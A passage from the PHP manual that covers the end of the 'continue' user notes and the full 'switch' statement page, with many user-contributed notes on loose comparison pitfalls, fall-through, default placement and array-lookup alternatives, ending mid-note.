1

This output requires you to either change the switch to an if or use the numerical argument and treat the switch as one loop.
Rene 18-Feb-2006 12:24
(only) the reason that is given on the "Continue with missing semikolon" example is wrong.

the script will output "2" because the missing semikolon causes that the "print"-call is executed only if the "if" statement is true. It has nothing to to with "what" the "print"-call would return or not return, but the returning value can cause to skip to the end of higher level Loops if any call is used that will return a bigger number than 1.

<?php
continue print "$i\n";
?>

because of the optional argument, the script will not run into a "unexpected T_PRINT" error. It will not run into an error, too, if the call after continue does return anything but a number.

i suggest to change it from:
because the return value of the print() call is int(1), and it will look like the optional numeric argument mentioned above.

to
because the print() call will look like the optional numeric argument mentioned above.
net_navard at yahoo dot com 25-Dec-2005 09:01
Hello firends

It is said in manually:
continue also accepts an optional numeric argument which tells it how many levels of enclosing loops it should .

In order to understand better this,An example for that:
<?php

/*continue also accepts an optional numeric argument which
    tells it how many levels of enclosing loops it should skip.*/

for($k=0;$k<2;$k++)
{//First loop

    for($j=0;$j<2;$j++)
    {//Second loop

      for($i=0;$i<4;$i++)
      {//Third loop
    if($i>2)
    continue 2;// If $i >2 ,Then it skips to the Second loop(level 2),And starts the next step,
    echo "$i\n";
       }

    }

}

?>

Merry's christmas :)

With regards,Hossein
dedlfix gives me a hint 28-Jan-2005 06:47
a possible solution for
greg AT laundrymat.tv

I've got the same problem as Greg
and now it works very fine by using
return() instead of continue.

It seems, that you have to use return()
if you have a file included and
you want to continue with the next loop
greg AT laundrymat.tv 14-Jan-2005 08:58
You using continue in a file included in a loop will produce an error.  For example:

//page1.php
for($x=0;$x<10;$x++)
   {
    include('page2.php');
}

//page2.php

if($x==5)
    continue;
else
   print $x;

it should print

"012346789" no five, but it produces an error:

Cannot break/continue 1 level in etc.
www.derosetechnologies.com 10-May-2004 08:58
In the same way that one can append a number to the end of a break statement to indicate the "loop" level upon which one wishes to 'break' , one can append a number to the end of a 'continue' statement to acheive the same goal. Here's a quick example:

<?
    for ($i = 0;$i<3;$i++) {
        echo "Start Of I loop\n";
        for ($j=0;;$j++) {

            if ($j >= 2) continue 2; // This "continue" applies to the "$i" loop
            echo "I : $i J : $j"."\n";
        }
        echo "End\n";
    }
?>

The output here is:
Start Of I loop
I : 0 J : 0
I : 0 J : 1
Start Of I loop
I : 1 J : 0
I : 1 J : 1
Start Of I loop
I : 2 J : 0
I : 2 J : 1

For more information, see the php manual's entry for the 'break' statement.
break
switch
Control Structures


switch

(PHP 4, PHP5)

The switch statement is similar to a series of IF statements on the same expression. In many occasions, you may want to compare the same variable (or expression) with many different values, and execute a different piece of code depending on which value it equals to. This is exactly what the switch statement is for.

Note: Note that unlike some other languages, the continue statement applies to switch and acts similar to break. If you have a switch inside a loop and wish to continue to the next iteration of the outer loop, use continue 2.

Note:

Note that switch/case does loose comparision.

The following two examples are two different ways to write the same thing, one using a series of if and elseif statements, and the other using the switch statement:

Example #1 switch structure

<?php
if ($i == 0) {
    echo "i equals 0";
} elseif ($i == 1) {
    echo "i equals 1";
} elseif ($i == 2) {
    echo "i equals 2";
}

switch ($i) {
    case 0:
        echo "i equals 0";
        break;
    case 1:
        echo "i equals 1";
        break;
    case 2:
        echo "i equals 2";
        break;
}
?>

Example #2 switch structure allows usage of strings

<?php
switch ($i) {
    case "apple":
        echo "i is apple";
        break;
    case "bar":
        echo "i is bar";
        break;
    case "cake":
        echo "i is cake";
        break;
}
?>

It is important to understand how the switch statement is executed in order to avoid mistakes. The switch statement executes line by line (actually, statement by statement). In the beginning, no code is executed. Only when a case statement is found with a value that matches the value of the switch expression does PHP begin to execute the statements. PHP continues to execute the statements until the end of the switch block, or the first time it sees a break statement. If you don't write a break statement at the end of a case's statement list, PHP will go on executing the statements of the following case. For example:

<?php
switch ($i) {
    case 0:
        echo "i equals 0";
    case 1:
        echo "i equals 1";
    case 2:
        echo "i equals 2";
}
?>

Here, if $i is equal to 0, PHP would execute all of the echo statements! If $i is equal to 1, PHP would execute the last two echo statements. You would get the expected behavior ('i equals 2' would be displayed) only if $i is equal to 2. Thus, it is important not to forget break statements (even though you may want to avoid supplying them on purpose under certain circumstances).

In a switch statement, the condition is evaluated only once and the result is compared to each case statement. In an elseif statement, the condition is evaluated again. If your condition is more complicated than a simple compare and/or is in a tight loop, a switch may be faster.

The statement list for a case can also be empty, which simply passes control into the statement list for the next case.

<?php
switch ($i) {
case 0:
case 1:
case 2:
    echo "i is less than 3 but not negative";
    break;
case 3:
    echo "i is 3";
}
?>

A special case is the default case. This case matches anything that wasn't matched by the other cases. For example:

<?php
switch ($i) {
    case 0:
        echo "i equals 0";
        break;
    case 1:
        echo "i equals 1";
        break;
    case 2:
        echo "i equals 2";
        break;
    default:
       echo "i is not equal to 0, 1 or 2";
}
?>

The case expression may be any expression that evaluates to a simple type, that is, integer or floating-point numbers and strings. Arrays or objects cannot be used here unless they are dereferenced to a simple type.

The alternative syntax for control structures is supported with switches. For more information, see Alternative syntax for control structures.

<?php
switch ($i):
    case 0:
        echo "i equals 0";
        break;
    case 1:
        echo "i equals 1";
        break;
    case 2:
        echo "i equals 2";
        break;
    default:
        echo "i is not equal to 0, 1 or 2";
endswitch;
?>

It's possible to use a semicolon instead of a colon after a case like:

<?php
switch($beer)
{
    case 'tuborg';
    case 'carlsberg';
    case 'heineken';
        echo 'Good choice';
    break;
    default;
        echo 'Please make a new selection...';
    break;
}
?>

User Contributed Notes

Bas Vijfwinkel 28-Jul-2011 06:03
If you want to avoid problems with loose comparison and strings in case statements (0 matching the first string case), you can use an explicit string cast in the switch statement:

switch((string)$switchkey) {...}

If $switchkey is 0 then the switch statement will either jump to the 'default' case or execute nothing at all (if there is no 'default' case present).

<?php

$switchkey = 0;

if('a string' == $switchkey) echo 'a string is 0' . PHP_EOL;
if('a string' === $switchkey) echo 'but you will never see this' . PHP_EOL;

switch($switchkey)
{
    case 'a string': echo 'switch string test without explicit cast:'.$switchkey.' is a string (this is not what we want to see)' . PHP_EOL;break;
    case 'another string': echo 'switch string test without explicit cast: '.$switchkey.' is another string' . PHP_EOL;break;
    default: echo 'switch string test without explicit cast: default :'.$switchkey.' is somethign else (this is the correct choice)' . PHP_EOL;break;
}
switch((string)$switchkey)
{
    case 'a string': echo 'switch string test with explicit cast:'.$switchkey.' is a string (this is not what we want to see)' . PHP_EOL;break;
    case 'another string': echo 'switch string test with explicit cast: '.$switchkey.' is another string' . PHP_EOL;break;
    default: echo 'switch string test with explicit cast: default :'.$switchkey.' is something else (this is the correct choice)' . PHP_EOL;break;
}

$switchkey = true;

if('a string' == $switchkey) echo 'a string is TRUE' . PHP_EOL;
if('a string' === $switchkey) echo 'but you will never see this' . PHP_EOL;

switch($switchkey)
{
    case 'a string': echo 'Switch boolean test without explicit cast:'.$switchkey.' is a string (this is not what we want to see)' . PHP_EOL;break;
    case 'another string': echo 'Switch boolean test without explicit cast: '.$switchkey.' is another string' . PHP_EOL;break;
    default : echo 'Switch boolean test : default without explicit cast: '.$switchkey.' is something else (this is the correct choice)' . PHP_EOL;break;
}
switch((string)$switchkey)
{
    case 'a string': echo 'Switch boolean test with explicit cast:'.$switchkey.' is a string (this is not what we want to see)' . PHP_EOL;break;
    case 'another string': echo 'Switch boolean test with explicit cast: '.$switchkey.' is another string' . PHP_EOL;break;
    default : echo 'Switch boolean test  with explicit cast: default:s '.$switchkey.' is something else (this is the correct choice)' . PHP_EOL;break;
}

?>

The script will output :

a string is 0
switch string test without explicit cast:0 is a string (this is not what we want to see)
switch string test with explicit cast: default :0 is something else (this is the correct choice)
a string is TRUE
Switch boolean test without explicit cast:1 is a string (this is not what we want to see)
Switch boolean test with explicit cast: default:s 1 is something else (this is the correct choice)
php_net at mcdragonsoftware dot com 17-Jun-2011 09:53
I often find myself wanting an inline-switch statement (like the ?: for inline if) or "choose" function, to pick a single value out of a list based on a variable index... just a convenience function really, but I like compact code...

<?php
function iswitch( $index, $OPTIONS ) {
    return @$OPTIONS[$index-1];
}
?>

usage:
<?php echo iswitch( $roll, array( 'rock', 'paper', 'scissors' ) ); ?>

I know there is a function for returning a random element from an array, and on a pre-defined array you can pull the item at a given index. But there is no method for quickly grabbing item x out of a list inline. (unless there are only 2 options, then the ?: operator works fine)
rahbari at gmail dot com 06-Mar-2011 01:37
I found out that the switch code is executed much like an if/else chain. I wonder why it's not implemented as a jump table. I'm going to use this structure inside a tight loop and the jump table would increase performance up to 40 times.
theimp at iinet dot net dot au 02-Jun-2010 01:04
It's easy to abuse the switch syntax to do some very useful things. As this example will show, the possibilities can go beyond even Duff's Device-style craziness (not that this example is nearly as clever as Duff's Device, but it demonstrates how you can do certain things other than simply the increment/decrement/assignment that's possible in C).

Fundamentally, this works mostly due to the fact that, from the point of view of the assembler/interpreter, a switch block is hardly any different from a bunch of GOTO labels and  if()  evaluations. But, like an  if() evaluation, the line of a case: statement is evaluated as an expression. So, in this case, we can perform an assignment and match the result of that assignment, because the return value of an assignment is the data that was assigned (and not the value of the variable it was assigned to, as you might expect).

So far, this is not actually amazing, even if it is a bit unintuitive. From a language point-of-view, it would be the same as an  if($var = "string")  statement which is using an assignment (=) rather than a comparison (==) operator. When you look at the pre-processing optimization, because a normal assignment of $var = "string" will always equal "string", it makes sense to have the result of that expression simply be equal to the right side of the expression (the right side is used rather than the left to let the assembler/interpreter work faster, on account of how they traditionally simply change the memory location for the assigned variable rather than copy the memory around unnecessarily).

Where this becomes more interesting is where, in PHP, you have language constructs that behave like functions but are used like statements. An  $array[] = "string"  expression is actually a language construct that just happens to behave a lot like a function, but you use it in the same way that you use an assignment expression, and like an expression, it always evaluates to the right side of the expression; in this case,  "string"  and not  array() .

The assembler/interpreter can't use the right side of the expression as a shortcut for the result of a function, so you can't use functions in this way in a case statement. You also can't get around this limit on calling functions from the case line by using variable functions, because they are used in the same way as functions.

But imagine what you could do with other language constructs, like eval() or include() !

Consider the following:

<?php
function flavor($type = null)
{
    switch ($type) {
        /* Note the isolation of break; statements and the fact that default: is at the top */
        default:
            $type = null;
        case $array[] = "chocolate":
            if ($type != null) {
                $array = array($type);
                break;
            }
        case $array[] = "strawberry":
            if ($type != null) {
                $array = array($type);
                break;
            }
        case $array[] = "vanilla":
            if ($type != null) {
                $array = array($type);
                break;
            }
    }
    if ( (count($array) != 1) ) {
        return "Flavors available: " . implode(", ", $array);
    } else {
        return "Flavor selected: " . implode(", ", $array);
    }
}

echo flavor() . "<br>";
/* Flavors available: chocolate, strawberry, vanilla */

echo flavor("banana") . "<br>";
/* Flavors available: chocolate, strawberry, vanilla */

echo flavor("chocolate") . "<br>";
/* Flavor selected: chocolate */
?>

What makes this example useful is that you don't need a variable somewhere that contains the available options (even within the function itself), so to support new options, you only ever have to change the code to add the new option - you don't need to update some variable somewhere that controls whether or not it works or whether or not people can tell that there's a new option.
mr at bwsolution dot de 11-May-2010 02:29
"loose comparison" means that switch won't check the type.
switch will only compare values:
<?php
if('a string' == 0) echo 'a string is 0' . PHP_EOL;
if('a string' === 0) echo 'but you will never see this' . PHP_EOL;
switch(0){
    case 'a string': echo 'a string' . PHP_EOL;
    case 'another string': echo 'another string' . PHP_EOL;
}

if('a string' == true) echo 'a string is TRUE' . PHP_EOL;
if('a string' === true) echo 'but you will never see this' . PHP_EOL;
switch(true){
    case 'a string': echo 'a string' . PHP_EOL;
    case 'another string': echo 'another string' . PHP_EOL;
}
?>

will output:
a string is 0
a string
another string
a string is TRUE
a string
another string
hackajar yahoo com 01-Apr-2010 03:21
Apparently you need to be extra careful with "0" (zero) in your case statements when mixing int and string values:

switch($key) {
     case 0: echo "only if I am zero";break;
     case 1: echo "I'm one";break;
     case "E1": echo "Why don't you output me?";break;
     default: echo "No value Found";
}

Switch will be convinced that you mean "0" when you really mean "E1" unless you wrap it in quotes:

switch($key) {
     case '0': echo "only if I am zero";break;
     case 1: echo "I'm one";break;
     case "E1":echo "Yay! I'm back!";break;
     default: echo "No value Found";
}

Maybe this is what they mean by "loose comparison" with True, False operators?
lchanady at gmail dot com 27-Jan-2010 09:56
Something fairly simple (and maybe obvious) that I didn't see mentioned is that the default case WILL be executed even if the switched variable does not exist or is undefined.

For example:

<?php

$a = "abc";
$b = "def";

switch($c){
    case "a":
        echo "a";
        break;
    case "b":
        echo "b";
        break;
    default:
        echo "default";
        break;
}

?>

Will output: default

Even though $c was never declared or defined, the default case will still be executed rather than PHP throwing an error.
varnavruz at gmail dot com 04-Sep-2009 02:34
You also may also use that for comparison. For example, we measure the script execution time and generate a comment about it. $totaltime is number of seconds script executes.

<?php

switch ($totaltime) {

case ($totaltime < 1):
echo "That was fast!";
break;

case ($totaltime > 1):
echo "Not fast!";
break;

case ($totaltime > 10):
echo "That's slooooow";
break;
}

?>
Ukuser 01-Aug-2009 07:48
Again, just to re-iterate, if you supply 0 as the switched element, only the first statement will run if the comparison is with text.

<?php

$in = array('first',0,"second");

foreach ($in as $a){
  switch ($a){
    case "first": print "first<br>"; break;
    case "second": print "second<br>"; break;
  }
}

?>

This is annoying if you're using an array where you've got key's which could be text or numbers, so I'm using the suggested idea of:

<?php

switch (true){
  case ($a==="first"): print "first<br>"; break;
  case ($a==="second"): print "second<br>"; break;
}

?>

The reason for this as mentioned on http://uk3.php.net/ternary is that: "If you compare an integer with a string, the string is converted to a number. If you compare two numerical strings, they are compared as integers. These rules also apply to the switch statement." Effectively it's saying if ($a=="first") which becomes does ($a (0) == 0) which is yes.

In my example this mean't a date had a regular expression of an email applied to it which didnt help!
Piyush Patel 24-Jul-2009 12:21
You may also call different functions within switch as per the action you get on the page.

<?php
switch($_POST['action']) {
case 'sum':
  execSum();
  break;
case 'sub':
  execSub();
  break;
case 'mul':
  execMul();
  break;
default:
  defaultAction();
  break;
}
?>
sedativchunk at gmail dot com 01-Feb-2009 09:22
Not sure if this has been posted or not, but I found the switch statement useful for finding ranges of data.

This script creates web 2.0 style links in different font sizes (popular on blogs) using a randomizer and switch statement. I used links from within a database for a mod I made for a Simple Machines forums, but this example uses arrays for links if you wanted to add your own custom links:
<?php
// Create set of links
$link = array();
$link[] = '<a href="whatever.html">page 1</a>';
$link[] = '<a href="whatever.html">page 2</a>';
$link[] = '<a href="whatever.html">page 3</a>';
$link[] = '<a href="whatever.html">page 4</a>';
$link[] = '<a href="whatever.html">page 5</a>';
$link[] = '<a href="whatever.html">page 6</a>';
$link[] = '<a href="whatever.html">page 7</a>';
$link[] = '<a href="whatever.html">page 8</a>';

// Create loop to display links
for($i = 0; $i < count($link); ++$i)
{
    // Create randomizer
    // Use switch statement to find font size
    $randomizer = rand(1,50);
    switch($randomizer)
    {
    case ($randomizer <= 20):
    $font_size = "11";
    break;

    case ($randomizer <= 30):
    $font_size = "16";
    break;

    case ($randomizer <= 40):
    $font_size = "18";
    break;

    case ($randomizer <= 50):
    $font_size = "20";
    break;
    }

    // Display the link
    echo '<span style="font-size: ' .$font_size. ';">' .$link[$i]. '</span>&nbsp;&nbsp;';

// Loop the next link
}
?>

Using this type of range randomizer is useful for game development and it can be useful on the web too, for things where you don't want to use a randomizer just for things like (1-5) where you wanted a more then likely result for one thing over another. The switch statement saves from writing spaghetti code if statements.
redcore 16-Jan-2009 04:42
This is what I did while deciphering what quarter a date (string) belonged to...

<?php
$strdate = 'Jun 4 2008 11:34PM';
$month = date('M', strtotime($strdate));

switch ($month)
    {
    case ($month=='Jan' || $month=='Feb' || $month=='Mar'):
        $quarter = "Q1 2008";
        break;
    case ($month=='Apr' || $month=='May' || $month=='Jun'):
        $quarter = "Q2 2008";
        break;
    case ($month=='Jul' || $month=='Aug' || $month=='Sep'):
        $quarter = "Q3 2008";
        break;
    case ($month=='Oct' || $month=='Nov' || $month=='Dec'):
        $quarter = "Q4 2008";
        break;
    }
?>
hamiltont at gmail dot com 02-Jan-2009 11:32
Example of default NOT included as the last item

<?php
switch(5) {
  case 1:
    echo "1";
    break;
  case 2:
  default:
    echo "2, default";
    break;
  case 3;
    echo "3";
    break;
}
?>

Outputs '2,default'

very useful if you want your cases to be presented in a logical order in the code (as in, not saying case 1, case 3, case 2/default) and your cases are very long so you do not want to repeat the entire case code at the bottom for the default

Hamy
Keil 09-Dec-2008 08:06
As follow-up to ben dot lancaster at holler dot co dot uk's post:

'continue' ends the switch, not the case, just as it would with any other flow control. Think of it as putting the execution pointer right before the ending accolade (that is, the }) because that is essentially what happens. In the case of a for loop, this would cause the iteration clause to execute, and if applicable, the loop to begin again. However, switches do not loop, which is why (as noted above, in the manual!) a continue statement essentially acts as a break when within a switch.
richard 10-Nov-2008 01:32
Just a word of warning about using switch don't try and compare variables that contain numbers with strings like so:

<?php
$i=0;

switch($i)
{
    case 'TEST': print "Test";break;
    case 0: print "0";break;
}
?>

The output will be: Test and not 0.
ben dot lancaster at holler dot co dot uk 16-Oct-2008 03:46
Following on from bensphpnetemail at supernaut dot org's post, it would seem that 'continue' doesn't really continue at all. Consider the following:

<?php
$foo = 'bar';
$bar = true;

switch($foo)
{
    case 'bar':
        if($bar)
        {
            continue;
        }
        echo '$bar is false';
        break;

    case 'bar':
    case 'foo':
        echo '$bar is true, or $foo is foo';
        break;

    default:
        echo "You shouldnt ever get here";
        break;
}

?>

I would expect the above to output "$bar is true, or $foo is foo", but it doesn't output anything. The continue statement acts as a break and stops evaluating the rest of the matching cases.

Instead, you should issue a 'break' statement conditionally to achieve the desired result.
mar dot czapla at gmail dot com 10-Oct-2008 02:17
<?php
    /* script 1  */
    $foo = "not a number";
    switch(false)
    {
        case "1":    {    $foo = "1";    break;    }
        case "2":    {    $foo = "2";    break;    }
        default:    {    $foo = "0";    }
    }

    echo $foo;    // will produce "not a number"

    /* script 2  */
    $foo = "not a number";
    $arr = array("not a number"); // 1 element only !
    switch($arr[1])    // element $foo[1] doesn't defined
    {
        case "1":    {    $foo = "1";    break;    }
        case "2":    {    $foo = "2";    break;    }
        default:    {    $foo = "0";    }
    }

    echo $foo;    // will produce "not a number" ( not 0 ! )

    /* script 3  */
    $foo = "not a number";
    $arr = array("not a number"); // 1 element only !
    switch($arr[1]?$arr[1]:"1")    // element $foo[1] doesn't defined
    {
        case "1":    {    $foo = "1";    break;    }
        case "2":    {    $foo = "2";    break;    }
        default:    {    $foo = "0";    }
    }

    echo $foo;
    // will produce :
    // 1 if $arr[1] isn't set
    // 1 if $arr[1]=1
    // 2 if $arr[1]=2
    // 0 if none of above
?>
cretz 30-Sep-2008 05:56
Haven't seen it mentioned here, but at least in my version (PHP 5.2.5) and I'm sure all of PHP 5, the switch statement is a great way to check type safe enumerates that are otherwise missing in the PHP language. Example:

<?php

class WannabeEnum {
    /**
     * @var WannabeEnum
     */
    public static $FOO;
    /**
     * @var WannabeEnum
     */
    public static $BAR;
    /**
     * @var WannabeEnum
     */
    public static $FOOBAR;
    private $_ordinal;
    public function __construct($ordinal) {
        $this->_ordinal = $ordinal;
    }
}
WannabeEnum::$FOO = new WannabeEnum(1);
WannabeEnum::$BAR = new WannabeEnum(2);
WannabeEnum::$FOOBAR = new WannabeEnum(3);

function testSwitch(WannabeEnum $wannabeEnum) {
    switch($wannabeEnum) {
        case WannabeEnum::$FOO:
            echo('Foo!' . PHP_EOL);
            break;
        case WannabeEnum::$BAR:
            echo('Bar!' . PHP_EOL);
            break;
        default:
            echo('Default!' . PHP_EOL);
    }
}
testSwitch(WannabeEnum::$FOO);
testSwitch(WannabeEnum::$FOOBAR);
?>

Outputs:

Foo!
Default!

Don't forget it uses loose comparisons!
mitchell/[.]/cain/[at]/gmail/[.]/com 10-Sep-2008 05:52
double switch

<?php

$foo = 2;
$bar = 11;

switch ($foo) {
    case 1:
        echo 'foo is 1//';
        break;
    case 2:
        echo 'foo is 2//';
        switch ($bar) {
            case 10:
                echo 'bar is 10//';
                break;
            case 11:
                echo 'bar is 11//';
                break;
            default:
                echo 'bar is neither 10 or 11//';
                break;
        }
        break;
    default:
        echo 'foo is neither 1 or 2//';
        break;
}

?>

output:
foo is 2//bar is 11//
mmxg at shaw dot ca 01-Jul-2008 01:30
In reply to lko at netuse dot de

Just so others know whom may not, that's because PHP does automatic type conversion if a string is evaluated as an integer (it sees the 2 in '2string' so when compared like if ('2string' == 2), PHP sees if (2 == 2) ).

I just tested it, but if you go:

<?php

$string="2string";

switch($string)
{
    case (string) 1:
        echo "this is 1";
        break;
    case (string) 2:
        echo "this is 2";
        break;
    case '2string':
        echo "this is a string";
        break;
}

?>

The output will be "this is a string" and if you change $string to "2" it will again be "this is 2".

Just in case that may help anyone who may run into that problem.
johan at dotco dot net 07-May-2008 05:51
A switch statement with more than one default is valid in PHP 5.2.6.  However, only the last default gets executed as the default clause.

<?php

switch(9) {
    case 1:
        echo 1 . "\n";
    case 2:
        echo 2 . "\n";
        break;

    case 3:
        echo 3 . "\n";
    case 4:
        echo 4 . "\n";

    case 5:
        echo 5 . "\n";
    default:
        echo 6 . "\n";
    default:
        echo 7 . "\n";
    default:
        echo 8 . "\n";
}

// Outputs:
// 8
//
// Did you expect 6 and 7 to print too?

switch(3) {
    case 1:
        echo 1 . "\n";
    case 2:
        echo 2 . "\n";
        break;

    case 3:
        echo 3 . "\n";
    case 4:
        echo 4 . "\n";

    case 5:
        echo 5 . "\n";
    default:
        echo 6 . "\n";
    default:
        echo 7 . "\n";
    default:
        echo 8 . "\n";
}

// Outputs:
// 3
// 4
// 5
// 6
// 7
// 8

?>

The problem (if it is one), is in the recursive definition of the default clause of a case_list in the parser.

zend_language_parser.y

// Many default clauses allowed.
case_list:
        /* empty */
    |    case_list T_CASE expr case_separator  inner_statement_list
    |    case_list T_DEFAULT case_separator inner_statement_list
    ;

// Only one default clause allowed.
case_list:
        /* empty */
    |    case_list T_CASE expr case_separator  inner_statement_list
    |    T_DEFAULT case_separator inner_statement_list
    ;
jphansen at uga dot edu 11-Apr-2008 11:33
An easy mistake some programmers from other languages might make is delimiting conditions for a case block by a comma:

<?
$val = "x";
switch ($val) {
  case "x", "y", "z":
    echo "Case is x, y or z";
    break;
}
?>

Instead, in PHP this is accomplished by using the "case" identifier for each condition:

<?
$val = "x";
switch ($val) {
  case "x":
  case "y":
  case "z":
    echo "Case is x, y or z";
    break;
}
?>
lko at netuse dot de 07-Apr-2008 08:51
Attention if you have mixed types of value in one switch statemet it can make you some trouble

<?php

$string="2string";

switch($string)
{
    case 1:
        echo "this is 1";
        break;
    case 2:
        echo "this is 2";
        break;
    case '2string':
        echo "this is a string";
        break;
}

?>

The swich-statement will halt on 'case 2'

Answer: this is 2
Hayley Watson 24-Oct-2007 02:02
Something not mentioned in the documentation itself, and only touched on momentarily in these notes, is that the default: case need not be the last clause in the switch.
<?php
for($i=0; $i<8; ++$i)
{
    echo $i,"\t";
    switch($i)
    {
    case 1: echo "One"; break;
    case 2:
    default: echo "Thingy"; break;
    case 3:
    case 4: echo "Three or Four"; break;
    case 5: echo "Five"; break;
    }
    echo "\n";
}
?>
Outputs what you'd expect, namely
0       Thingy
1       One
2       Thingy
3       Three or Four
4       Three or Four
5       Five
6       Thingy
7       Thingy
with case 2 and the default both producing the same result ("Thingy"); strictly speaking, the case 2 clause is completely empty and control just falls straight through. The same result could have been achieved with
<?php
switch($i)
{
    case 1: echo "One"; break;
    case 3:
    case 4: echo "Three or Four"; break;
    case 5: echo "Five"; break;
    default: echo "Thingy"; break;
}
?>
But if "case 2" represented a fairly common case (other than "everything else"), then it would be better to declare it explicitly, not only because it saves time by not having to test EVERY other case first  (in the current example, PHP finds 'case 2' in the first switch in two tests, but in the second switch it has to make four tests before giving up and going with the default) but also because someone (perhaps yourself in a few months' time) will be reading the code and expecting to see it handled. Listing it explicitly aids comprehension
stever at ashomecare dot com 07-Sep-2007 09:11
Just a reminder: there may be easier ways to manipulate _long_ lists of data instead of using switches.

function getChineseZodiac($year){

  // Chinese Zodiac Animals
  $animals = Array
  (
    'Monkey',  // Years 0, 12, 1200, 2004...
    'Rooster',
    'Dog',
    'Boar',
    'Rat',
    'Ox',
    'Tiger',
    'Rabit',
    'Dragon',
    'Snake',
    'Horse',
    'Lamb'
  );

  // Number of animals and years in a calendar rotation
  $numAnimals = count($animals);

  // Years left until full rotation of calender
  $yearOffset= round($year) % $numAnimals;

  return $animals[$yearOffset];

}

Of course this is a really generic function, we're just finding how many years away from a full 12 year rotation the current year is.
fteng1 at gmail dot com 04-Aug-2007 06:46
Here's a lazy way of doing an comparison where multiple conditions equal the same result using arrays.

if (in_array($year,array(1948, 1960, 1972, 1984, 1996, 2008)))
        echo "Rat";
    elseif (in_array($year,array(1949, 1961, 1973, 1985, 1997, 2009)))
        echo "Ox";
    elseif (in_array($year,array(1950, 1962, 1974, 1986, 1998, 2010)))
        echo "Tiger";
    elseif (in_array($year,array(1951, 1963, 1975, 1987, 1999, 2011)))
        echo "Rabbit";
    elseif (in_array($year,array(1952, 1964, 1976, 1988, 2000, 2012)))
        echo "Dragon";
    elseif (in_array($year,array(1941, 1953, 1965, 1977, 1989, 2001)))
        echo "Snake";
    elseif (in_array($year,array(1942, 1954, 1966, 1978, 1990, 2002)))
        echo "Horse";
    elseif (in_array($year,array(1943, 1955, 1967, 1979, 1991, 2003)))
        echo "Lamb";
    elseif (in_array($year,array(1944, 1956, 1968, 1980, 1992, 2004)))
        echo "Monkey";
    elseif (in_array($year,array(1945, 1957, 1969, 1981, 1993, 2005)))
        echo "Rooster";
    elseif (in_array($year,array(1946, 1958, 1970, 1982, 1994, 2006)))
        echo "Dog";
    elseif (in_array($year,array(1947, 1959, 1971, 1983, 1995, 2007)))
        echo "Boar";
juraj5 21-Jul-2007 12:00
In response to 'i luv spam',

when you enter 07, you tell PHP to interpret a number as an octal number (much like '0x' for hex numbers). Octal numbering system uses only 8 digits, i.e. 0-7. http://en.wikipedia.org/wiki/Octal

The number 8 does not exist in octal numbering system. The comparison works because the octal numbers 0 to 7 have identical counterparts in decimal system.

So, in order to get a number compared as decimal 8, you would have to enter 010 in the case.

BTW this behavior obviously isn't specific to switch, it's a part of PHP.

(I personally stumbled into this when trying to make my code nicely indented while declaring an array)
usera$ at example dot com 18-Jul-2007 10:35
A note as to how the comparisons of case values to the switch value are being made would be useful, since it appears, the comparison operator === is not available, only ==. That means, according to the example given, in

switch($a)
...
case 0
  statement-0
case FALSE
  statment-1
case NULL
  statement-2
...

both statement-1 and statement-2 cannot be executed, no matter what the value of $a is, including FALSE.
Drake 15-Jul-2007 10:51
Also,
 when using switch for mode selecting on websites like:

switch($_GET['mode']) {
  case "gallery":
    //code
  break;
  case "news":
    //code
  break;
  case "stuff":
    //code
  break;
  default, etc etc
}

Will NOT trigger the string == 0 bug, because $_GET automatically parse anything passed to them as strings.
(same applies for all browser variables: SESSION, POST etc)

so passing:
mode=0
into the address bar is the same as:
$_GET['mode'] = "0"; //not $_GET['mode'] = 0;

thought it may help.
2mareks (at) gmail (dot) com 29-Nov-2006 03:03
In reply to earlier comment, "switch"- I found this to be one of the best ways to interpret 'actions'. Simply create a new instance of Handler_action before including any content source files. This is a highly stripped version of the class.

The real one I created handles (and secures) input for $_GET and $_POST, creates a 'permission' array that only allows certain actions to be called by non-admins, and creates handy little diagnostic messages that can be displayed upon redirecting.

On that note, the beauty in this class really shines in the simple redirect. You wont be left with ugly URLs like, "http://www.domain.com/path/to/script.php?action=blah&var1=123". Rather, you will be left with something like "http://www.domain.com/path/to/script.php"- helps protect some of the site by not showing any vulnerabilities in URLs.

Also, this class keeps all actions organized neatly by directly passing $_GET vars to the actions through function parameters.

<?php
  class Handler_action {
    function __construct( ){
      //Add code here to secure attacks through $_GET or use $_POST
      $action = $_GET["action"];

      //$actions_index conventions:
      //'action_name' => array( 'arg1', 'arg2', 'etc', ['/redirect/to/path' | NULL ] )
      $actions_index = array(
        'create' => array( $_GET['newVar1'], $_GET['newVar2'], '/home.php' ),
        'edit' => array( $_GET['id'], $_GET['otherVar'], '/home.php' ),
        'delete' => array( $_GET['id'], '/other_script.php' )
      );

      if( $action && array_key_exists( $action, $actions_index ) ){
        $redirect_path = array_pop( $actions_index[$action] );
        call_user_func_array( array( &$this, $action ), $actions_index[$action] );
        if( $redirect_path )
          header( "Location: http://www.domain.com{$redirect_path}" );
      }
    }

    //being defining actions now
    function create( $new_var1, $new_var2 ){

      //code...

    }
    function edit( $id, $other_var ){

      //code...

    }
    function delete( $id ){

      //code...

    }
  }
?>
27-Oct-2006 03:29
I could have used a swich for this, but I found that using the array was much faster.

    $action = $_GET['action'];

    $pages = array
    (
      'edit'   => './edit.php',
      'search' => './search.php'
    );

    if(strlen($pages[$action]) > 0)
    {
      require $pages[$action];
    }
    else
    {
      require './default.php';
    }
sneskid at hotmail dot com 23-Oct-2006 04:38
In regard to what dohpaz at kennethpaul dot com wrote.

If you ever have time you may want to test out having a premade associative array with the required elements eaqualing the needed value. Then assign the value based on the array element.

in dohpaz's month example it would look like this:
<?php
$arr_month = array(
'January' => 1,
'February' => 2,
'March' => 3,
'April' => 4,
'May' => 5,
'June' => 6,
'July' => 7,
'August' => 8,
'September' => 9,
'October' => 10,
'November' => 11,
'December' => 12);
foreach($arr_month as $k => $v) {$arr_month[substr($k,0,3)] = $v;} // autogen a 3 letter version

//note that the overall size will be 23 because May will only exist once

$month = 'Jan';
$month = $arr_months[$month];
echo $month; // outputs: 1
?>

It beats a switch in this case.

I did some benchmarking.
The array system is faster than the switch system.

Here were my average time results of 1000 itterations of assigning the numeric value to the month.
The value was randomized between each itteration (this was not added to the benchmark value), so each method was simulated with various data to stress different points.

array:
'avg' => 1.09958648682E-6
switch:
'avg' => 4.32157516479E-6
switch (true):
'avg' => 6.90913200378E-6

Contrary to what dohpaz suggested I found that a normal switch was faster than a switch(true) version.

I repeated these test several times to take into acount server load variations. The ratios were always consistent.

The array way is notably faster.
mdirks at gulfstreamcoach dot com 13-Sep-2006 07:09
In response to scott at firefallpro dot com:

